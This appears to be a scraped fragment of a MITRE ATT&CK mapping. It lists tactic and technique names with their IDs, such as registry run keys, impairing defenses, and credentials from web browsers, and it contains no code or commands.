T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery